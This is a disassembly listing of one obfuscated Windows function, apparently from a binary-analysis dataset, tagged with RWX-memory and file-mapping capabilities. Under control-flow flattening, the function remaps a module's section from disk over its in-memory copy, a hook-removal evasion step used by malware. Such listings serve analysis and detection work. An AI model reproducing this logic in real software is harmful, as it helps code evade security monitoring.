Function at 0x10001350
Capabilities:
Allocate or change rwx memory
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
sub esp, 0x9c
mov eax, dword [ebp + 8]
mov dword [ebp - 0xa0], eax
mov eax, dword [0x1006d600]
xor eax, ebp
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x9c], 0x2712b0f3
mov eax, dword [ebp - 0x9c]
mov dword [ebp - 0xa4], eax
sub eax, 0x853fbaa9
je 0x10002607
jmp 0x10001394
mov eax, dword [ebp - 0xa4]
sub eax, 0x964f7a9a
je 0x10001e2e
jmp 0x100013aa
mov eax, dword [ebp - 0xa4]
sub eax, 0x98d70be7
je 0x10001feb
jmp 0x100013c0
mov eax, dword [ebp - 0xa4]
sub eax, 0x9a0f3913
je 0x10001e4c
jmp 0x100013d6
mov eax, dword [ebp - 0xa4]
sub eax, 0xa73dd34b
je 0x10001fa3
jmp 0x100013ec
mov eax, dword [ebp - 0xa4]
sub eax, 0xadbcb8ec
je 0x1000267f
jmp 0x10001402
mov eax, dword [ebp - 0xa4]
sub eax, 0xb2ce8750
je 0x10001f83
jmp 0x10001418
mov eax, dword [ebp - 0xa4]
sub eax, 0xbb686e22
je 0x10001bbc
jmp 0x1000142e
mov eax, dword [ebp - 0xa4]
sub eax, 0xbde2b808
je 0x10001a87
jmp 0x10001444
mov eax, dword [ebp - 0xa4]
sub eax, 0xc51d191d
je 0x10001d2b
jmp 0x1000145a
mov eax, dword [ebp - 0xa4]
sub eax, 0xc5f97214
je 0x1000224d
jmp 0x10001470
mov eax, dword [ebp - 0xa4]
sub eax, 0xd05a412e
je 0x10001ba5
jmp 0x10001486
mov eax, dword [ebp - 0xa4]
sub eax, 0xdc7953ef
je 0x10002283
jmp 0x1000149c
mov eax, dword [ebp - 0xa4]
sub eax, 0xe84e0842
je 0x100020ce
jmp 0x100014b2
mov eax, dword [ebp - 0xa4]
sub eax, 0xea09cf4f
je 0x10002198
jmp 0x100014c8
mov eax, dword [ebp - 0xa4]
sub eax, 0xead47e16
je 0x100023f1
jmp 0x100014de
mov eax, dword [ebp - 0xa4]
sub eax, 0xf083f65e
je 0x1000193e
jmp 0x100014f4
mov eax, dword [ebp - 0xa4]
sub eax, 0xf95d6ddc
je 0x10001e5b
jmp 0x1000150a
mov eax, dword [ebp - 0xa4]
sub eax, 0xfa34821b
je 0x100026b5
jmp 0x10001520
mov eax, dword [ebp - 0xa4]
sub eax, 0xfb00c249
je 0x100019d5
jmp 0x10001536
mov eax, dword [ebp - 0xa4]
sub eax, 0xfbe5e78d
je 0x10002363
jmp 0x1000154c
mov eax, dword [ebp - 0xa4]
sub eax, 0xfd28745b
je 0x10002122
jmp 0x10001562
mov eax, dword [ebp - 0xa4]
sub eax, 0xfd6e715c
je 0x100019e4
jmp 0x10001578
mov eax, dword [ebp - 0xa4]
sub eax, 0xfe4eb228
je 0x100020bf
jmp 0x1000158e
mov eax, dword [ebp - 0xa4]
sub eax, 0x5cf8c04
je 0x10001b78
jmp 0x100015a4
mov eax, dword [ebp - 0xa4]
sub eax, 0xaf0c282
je 0x10001e1f
jmp 0x100015ba
mov eax, dword [ebp - 0xa4]
sub eax, 0xc5d27d8
je 0x10002896
jmp 0x100015d0
mov eax, dword [ebp - 0xa4]
sub eax, 0x106e2a2f
je 0x10002700
jmp 0x100015e6
mov eax, dword [ebp - 0xa4]
sub eax, 0x14615875
je 0x10001da1
jmp 0x100015fc
mov eax, dword [ebp - 0xa4]
sub eax, 0x1a8d6fe7
je 0x1000271e
jmp 0x10001612
mov eax, dword [ebp - 0xa4]
sub eax, 0x1aa0450e
je 0x10002960
jmp 0x10001628
mov eax, dword [ebp - 0xa4]
sub eax, 0x1df4b61d
je 0x10001fd3
jmp 0x1000163e
mov eax, dword [ebp - 0xa4]
sub eax, 0x2469b3bc
je 0x10001c89
jmp 0x10001654
mov eax, dword [ebp - 0xa4]
sub eax, 0x25f059fe
je 0x100027f5
jmp 0x1000166a
mov eax, dword [ebp - 0xa4]
sub eax, 0x2712b0f3
je 0x100018ed
jmp 0x10001680
mov eax, dword [ebp - 0xa4]
sub eax, 0x2c60e760
je 0x1000294e
jmp 0x10001696
mov eax, dword [ebp - 0xa4]
sub eax, 0x2d6f4a61
je 0x1000293f
jmp 0x100016ac
mov eax, dword [ebp - 0xa4]
sub eax, 0x2e03f359
je 0x10002591
jmp 0x100016c2
mov eax, dword [ebp - 0xa4]
sub eax, 0x359d654d
je 0x10002816
jmp 0x100016d8
mov eax, dword [ebp - 0xa4]
sub eax, 0x380bc602
je 0x100024bb
jmp 0x100016ee
mov eax, dword [ebp - 0xa4]
sub eax, 0x3b979c31
je 0x10001f74
jmp 0x10001704
mov eax, dword [ebp - 0xa4]
sub eax, 0x3ed30318
je 0x10001b57
jmp 0x1000171a
mov eax, dword [ebp - 0xa4]
sub eax, 0x3f03a9c7
je 0x10001a96
jmp 0x10001730
mov eax, dword [ebp - 0xa4]
sub eax, 0x4b6afa7b
je 0x10002582
jmp 0x10001746
mov eax, dword [ebp - 0xa4]
sub eax, 0x4ceefc0e
je 0x10001c13
jmp 0x1000175c
mov eax, dword [ebp - 0xa4]
sub eax, 0x50ced8b4
je 0x100026c4
jmp 0x10001772
mov eax, dword [ebp - 0xa4]
sub eax, 0x53a037a7
je 0x1000223e
jmp 0x10001788
mov eax, dword [ebp - 0xa4]
sub eax, 0x53a2eb74
je 0x10002884
jmp 0x1000179e
mov eax, dword [ebp - 0xa4]
sub eax, 0x61967b0f
je 0x1000203c
jmp 0x100017b4
mov eax, dword [ebp - 0xa4]
sub eax, 0x678eb60f
je 0x100027e4
jmp 0x100017ca
mov eax, dword [ebp - 0xa4]
sub eax, 0x6adafc4c
je 0x100020f2
jmp 0x100017e0
mov eax, dword [ebp - 0xa4]
sub eax, 0x6c0b6816
je 0x10001b96
jmp 0x100017f6
mov eax, dword [ebp - 0xa4]
sub eax, 0x6e1c011b
je 0x1000268e
jmp 0x1000180c
mov eax, dword [ebp - 0xa4]
sub eax, 0x70d037df
je 0x1000250c
jmp 0x10001822
mov eax, dword [ebp - 0xa4]
sub eax, 0x726def23
je 0x100024ac
jmp 0x10001838
mov eax, dword [ebp - 0xa4]
sub eax, 0x73e11425
je 0x1000272d
jmp 0x1000184e
mov eax, dword [ebp - 0xa4]
sub eax, 0x764d8812
je 0x10002804
jmp 0x10001864
mov eax, dword [ebp - 0xa4]
sub eax, 0x79bafa5c
je 0x1000237b
jmp 0x1000187a
mov eax, dword [ebp - 0xa4]
sub eax, 0x7ab7e439
je 0x10002828
jmp 0x10001890
mov eax, dword [ebp - 0xa4]
sub eax, 0x7b06eb64
je 0x100028e2
jmp 0x100018a6
mov eax, dword [ebp - 0xa4]
sub eax, 0x7ce60b94
je 0x10001eac
jmp 0x100018bc
mov eax, dword [ebp - 0xa4]
sub eax, 0x7d85c70a
je 0x1000279b
jmp 0x100018d2
mov eax, dword [ebp - 0xa4]
sub eax, 0x7e850620
je 0x10001d0d
jmp 0x100018e8
jmp 0x1000296a
mov eax, dword [0x1006e940]
mov ecx, dword [0x1006e93c]
mov edx, eax
add edx, 0xd24baad5
sub edx, 1
sub edx, 0xd24baad5
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x25f059fe
mov ecx, 0xf083f65e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x9c], eax
jmp 0x1000296a
push eax
mov eax, esp
mov dword [ebp - 0x94], eax
sub esp, 0xc
mov eax, esp
mov dword [ebp - 0x90], eax
push eax
mov eax, esp
mov dword [ebp - 0x8c], eax
push eax
mov eax, esp
mov dword [ebp - 0x88], eax
sub esp, 0x104
mov eax, esp
mov dword [ebp - 0x84], eax
push eax
mov eax, esp
mov dword [ebp - 0x80], eax
push eax
mov eax, esp
mov dword [ebp - 0x7c], eax
push eax
mov eax, esp
mov dword [ebp - 0x78], eax
mov eax, dword [0x1006e940]
mov ecx, dword [0x1006e93c]
mov edx, eax
sub edx, 0x44b42520
sub edx, 1
add edx, 0x44b42520
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x25f059fe
mov ecx, 0xfb00c249
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x9c], eax
jmp 0x1000296a
mov dword [ebp - 0x9c], 0xfd6e715c
jmp 0x1000296a
mov eax, dword [ebp - 0xa0]
push eax
mov ecx, esp
mov dword [ebp - 0x74], ecx
push eax
mov ecx, esp
mov dword [ebp - 0x70], ecx
push eax
mov ecx, esp
mov dword [ebp - 0x6c], ecx
push eax
mov ecx, esp
mov dword [ebp - 0x68], ecx
push eax
mov ecx, esp
mov dword [ebp - 0x64], ecx
push eax
mov ecx, esp
mov dword [ebp - 0x60], ecx
mov dword [ebp - 0x98], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov ecx, eax
mov eax, dword [ebp - 0x94]
mov dword [eax], ecx
mov eax, dword [ebp - 0x90]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0xc
call fcn.1000d790
add esp, 0xc
mov eax, dword [ebp - 0x98]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ecx, eax
mov eax, dword [ebp - 0x8c]
mov dword [eax], ecx
mov edx, dword [ebp - 0x8c]
mov eax, 0xbde2b808
mov ecx, 0x3f03a9c7
cmp dword [edx], 0
cmovne eax, ecx
mov dword [ebp - 0x9c], eax
jmp 0x1000296a
mov dword [ebp - 0x9c], 0x73e11425
jmp 0x1000296a
mov eax, dword [ebp - 0x8c]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x94]
mov edx, dword [eax]
mov eax, dword [ebp - 0x90]
sub esp, 0x10
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0xc
call sub.KERNEL32.dll_K32GetModuleInformation
mov eax, dword [ebp - 0x90]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x88]
mov dword [eax], ecx
mov eax, dword [ebp - 0x84]
mov ecx, dword [ebp - 0x8c]
mov ecx, dword [ecx]
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x104
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov eax, dword [ebp - 0x84]
xor ecx, ecx
sub esp, 0x1c
mov dword [esp], eax
mov dword [esp + 4], 0x80000000
mov dword [esp + 8], 1
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 3
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ecx, eax
mov eax, dword [ebp - 0x80]
mov dword [eax], ecx
mov dword [ebp - 0x9c], 0x3ed30318
jmp 0x1000296a
mov eax, dword [ebp - 0x80]
mov ecx, 0xffffffff
cmp dword [eax], ecx
sete al
and al, 1
mov byte [ebp - 0x59], al
mov dword [ebp - 0x9c], 0x5cf8c04
jmp 0x1000296a
mov dl, byte [ebp - 0x59]
mov eax, 0xd05a412e
mov ecx, 0x6c0b6816
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x9c], eax
jmp 0x1000296a
mov dword [ebp - 0x9c], 0x73e11425
jmp 0x1000296a
mov eax, dword [ebp - 0x80]
mov eax, dword [eax]
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x9c], 0xbb686e22
jmp 0x1000296a
mov eax, dword [ebp - 0x58]
xor ecx, ecx
sub esp, 0x18
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x1000002
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov ecx, eax
mov eax, dword [ebp - 0x7c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x7c]
mov eax, dword [eax]
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x9c], 0x4ceefc0e
jmp 0x1000296a
mov ecx, dword [0x1006e940]
mov eax, dword [0x1006e93c]
mov edx, ecx
sub edx, 0x5ff19644
sub edx, 1
add edx, 0x5ff19644
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x764d8812
mov ecx, 0x2469b3bc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x9c], eax
jmp 0x1000296a
mov eax, dword [ebp - 0x54]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x4d], al
mov ecx, dword [0x1006e940]
mov eax, dword [0x1006e93c]
mov edx, ecx
add edx, 0xbdc9b1ca
sub edx, 1
sub edx, 0xbdc9b1ca
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x764d8812
mov ecx, 0x7e850620
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x9c], eax
jmp 0x1000296a
mov dl, byte [ebp - 0x4d]
mov eax, 0xc51d191d
mov ecx, 0xf95d6ddc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x9c], eax
jmp 0x1000296a
mov ecx, dword [0x1006e940]
mov eax, dword [0x1006e93c]
mov edx, ecx
add edx, 0xc073749f
sub edx, 1
sub edx, 0xc073749f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x359d654d
mov ecx, 0x14615875
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x9c], eax
jmp 0x1000296a
mov eax, dword [ebp - 0x80]
mov eax, dword [eax]
mov dword [ebp - 0x4c], eax
mov ecx, dword [0x1006e940]
mov eax, dword [0x1006e93c]
mov edx, ecx
sub edx, 0xc625f365
sub edx, 1
add edx, 0xc625f365
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x359d654d
mov ecx, 0xaf0c282
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x9c], eax
jmp 0x1000296a
mov dword [ebp - 0x9c], 0x964f7a9a
jmp 0x1000296a
mov eax, dword [ebp - 0x4c]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x9c], 0x9a0f3913
jmp 0x1000296a
mov dword [ebp - 0x9c], 0x73e11425
jmp 0x1000296a
mov eax, dword [0x1006e940]
mov ecx, dword [0x1006e93c]
mov edx, eax
add edx, 0xae0182e5
sub edx, 1
sub edx, 0xae0182e5
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7ab7e439
mov ecx, 0x7ce60b94
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x9c], eax
jmp 0x1000296a
mov eax, dword [ebp - 0x7c]
mov eax, dword [eax]
xor ecx, ecx
sub esp, 0x14
mov dword [esp], eax
mov dword [esp + 4], 4
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov ecx, eax
mov eax, dword [ebp - 0x78]
mov dword [eax], ecx
mov eax, dword [ebp - 0x88]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x74]
mov dword [eax], ecx
mov eax, dword [ebp - 0x88]
mov eax, dword [eax]
mov dword [ebp - 0x48], eax
mov ecx, dword [0x1006e940]
mov eax, dword [0x1006e93c]
mov edx, ecx
add edx, 0xcdc9af6a
sub edx, 1
sub edx, 0xcdc9af6a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x7ab7e439
mov ecx, 0x3b979c31
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x9c], eax
jmp 0x1000296a
mov dword [ebp - 0x9c], 0xb2ce8750
jmp 0x1000296a
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x74]
mov eax, dword [eax]
mov eax, dword [eax + 0x3c]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x9c], 0xa73dd34b
jmp 0x1000296a
mov ecx, dword [ebp - 0x44]
mov edx, dword [ebp - 0x40]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x70]
mov dword [eax], ecx
mov eax, dword [ebp - 0x6c]
mov word [eax], 0
mov dword [ebp - 0x9c], 0x1df4b61d
jmp 0x1000296a
mov eax, dword [ebp - 0x6c]
movzx eax, word [eax]
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x9c], 0x98d70be7
jmp 0x1000296a
mov eax, dword [0x1006e940]
mov ecx, dword [0x1006e93c]
mov edx, eax
sub edx, 0x24c80a84
sub edx, 1
add edx, 0x24c80a84
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x53a2eb74
mov ecx, 0x61967b0f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x9c], eax
jmp 0x1000296a
mov eax, dword [ebp - 0x70]
mov eax, dword [eax]
mov ax, word [eax + 6]
mov word [ebp - 0x36], ax
mov ecx, dword [0x1006e940]
mov eax, dword [0x1006e93c]
mov edx, ecx
sub edx, 0xbd68603
sub edx, 1
add edx, 0xbd68603
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x53a2eb74
mov ecx, 0xfe4eb228
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x9c], eax
jmp 0x1000296a
mov dword [ebp - 0x9c], 0xe84e0842
jmp 0x1000296a
mov ax, word [ebp - 0x36]
movzx esi, ax
mov edx, dword [ebp - 0x3c]
mov eax, 0x50ced8b4
mov ecx, 0x6adafc4c
cmp edx, esi
cmovl eax, ecx
mov dword [ebp - 0x9c], eax
jmp 0x1000296a
mov eax, dword [ebp - 0x70]
mov eax, dword [eax]
add eax, 0xe55d7681
add eax, 0x18
sub eax, 0xe55d7681
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x70]
mov eax, dword [eax]
movzx eax, word [eax + 0x14]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x9c], 0xfd28745b
jmp 0x1000296a
mov ecx, dword [0x1006e940]
mov eax, dword [0x1006e93c]
mov edx, ecx
add edx, 0x308699e2
sub edx, 1
sub edx, 0x308699e2
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xc5d27d8
mov ecx, 0xea09cf4f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x9c], eax
jmp 0x1000296a
mov ecx, dword [ebp - 0x34]
mov edx, dword [ebp - 0x30]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x6c]
movzx eax, word [eax]
imul edx, eax, 0x28
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x68]
mov dword [eax], ecx
mov eax, dword [ebp - 0x68]
mov eax, dword [eax]
mov dword [ebp - 0x2c], eax
mov ecx, dword [0x1006e940]
mov eax, dword [0x1006e93c]
mov edx, ecx
add edx, 0x50742dbe
sub edx, 1
sub edx, 0x50742dbe
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xc5d27d8
mov ecx, 0x53a037a7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x9c], eax
jmp 0x1000296a
mov dword [ebp - 0x9c], 0xc5f97214
jmp 0x1000296a
mov ecx, dword [ebp - 0x2c]
sub esp, 8
mov eax, esp
mov dword [eax], ecx
mov dword [eax + 4], 0x100193b0
call fcn.1000fb00
add esp, 8
mov edx, eax
mov eax, 0xdc7953ef
mov ecx, 0x380bc602
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x9c], eax
jmp 0x1000296a
mov eax, dword [ebp - 0x64]
mov dword [eax], 0
mov eax, dword [ebp - 0x68]
mov eax, dword [eax]
mov ecx, dword [eax + 8]
mov eax, dword [ebp - 0x88]
mov edx, dword [eax]
mov eax, dword [ebp - 0x68]
mov eax, dword [eax]
mov esi, dword [eax + 0xc]
xor eax, eax
sub eax, edx
xor edx, edx
sub edx, esi
add eax, edx
xor edx, edx
sub edx, eax
mov eax, dword [ebp - 0x64]
sub esp, 0x10
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
cmp eax, 0
setne cl
and cl, 1
mov eax, dword [ebp - 0x60]
mov byte [eax], cl
mov eax, dword [ebp - 0x88]
mov edx, dword [eax]
mov eax, dword [ebp - 0x68]
mov eax, dword [eax]
mov ecx, dword [eax + 0xc]
xor eax, eax
sub eax, ecx
sub edx, eax
mov eax, dword [ebp - 0x78]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x68]
mov eax, dword [eax]
mov esi, dword [eax + 0xc]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, esi
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x68]
mov eax, dword [eax]
mov eax, dword [eax + 8]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.1000d8f0
add esp, 0xc
mov eax, dword [ebp - 0x64]
mov eax, dword [eax]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x68]
mov eax, dword [eax]
mov eax, dword [eax + 8]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x88]
mov eax, dword [eax]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x68]
mov eax, dword [eax]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x9c], 0xfbe5e78d
jmp 0x1000296a
mov eax, dword [ebp - 0x1c]
add eax, 0xc
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x9c], 0x79bafa5c
jmp 0x1000296a
mov ecx, dword [0x1006e940]
mov eax, dword [0x1006e93c]
mov edx, ecx
add edx, 0x637299a4
sub edx, 1
sub edx, 0x637299a4
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x7b06eb64
mov ecx, 0xead47e16
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x9c], eax
jmp 0x1000296a
mov eax, dword [ebp - 0x18]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x20]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor esi, esi
sub esi, eax
mov eax, dword [ebp - 0x64]
mov ecx, dword [ebp - 0x28]
mov edx, dword [ebp - 0x24]
sub esp, 0x10
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
cmp eax, 0
setne cl
and cl, 1
mov eax, dword [ebp - 0x60]
mov byte [eax], cl
mov ecx, dword [0x1006e940]
mov eax, dword [0x1006e93c]
mov edx, ecx
add edx, 0x8a0e083d
sub edx, 1
sub edx, 0x8a0e083d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x7b06eb64
mov ecx, 0x726def23
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x9c], eax
jmp 0x1000296a
mov dword [ebp - 0x9c], 0x380bc602
jmp 0x1000296a
mov eax, dword [0x1006e940]
mov ecx, dword [0x1006e93c]
mov edx, eax
sub edx, 0x2efbf59b
sub edx, 1
add edx, 0x2efbf59b
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2d6f4a61
mov ecx, 0x70d037df
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x9c], eax
jmp 0x1000296a
mov ecx, dword [0x1006e940]
mov eax, dword [0x1006e93c]
mov edx, ecx
add edx, 0x594cd9a0
sub edx, 1
sub edx, 0x594cd9a0
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x2d6f4a61
mov ecx, 0x4b6afa7b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x9c], eax
jmp 0x1000296a
mov dword [ebp - 0x9c], 0x2e03f359
jmp 0x1000296a
mov ecx, dword [0x1006e940]
mov eax, dword [0x1006e93c]
mov edx, ecx
sub edx, 0x5e1cdb9d
sub edx, 1
add edx, 0x5e1cdb9d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x2c60e760
mov ecx, 0x853fbaa9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x9c], eax
jmp 0x1000296a
mov eax, dword [ebp - 0x6c]
mov ax, word [eax]
mov word [ebp - 0x12], ax
mov ecx, dword [0x1006e940]
mov eax, dword [0x1006e93c]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x2c60e760
mov ecx, 0xadbcb8ec
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x9c], eax
jmp 0x1000296a
mov dword [ebp - 0x9c], 0x6e1c011b
jmp 0x1000296a
mov cx, word [ebp - 0x12]
sub cx, 0x2bcf
add cx, 1
add cx, 0x2bcf
mov eax, dword [ebp - 0x6c]
mov word [eax], cx
mov dword [ebp - 0x9c], 0xfa34821b
jmp 0x1000296a
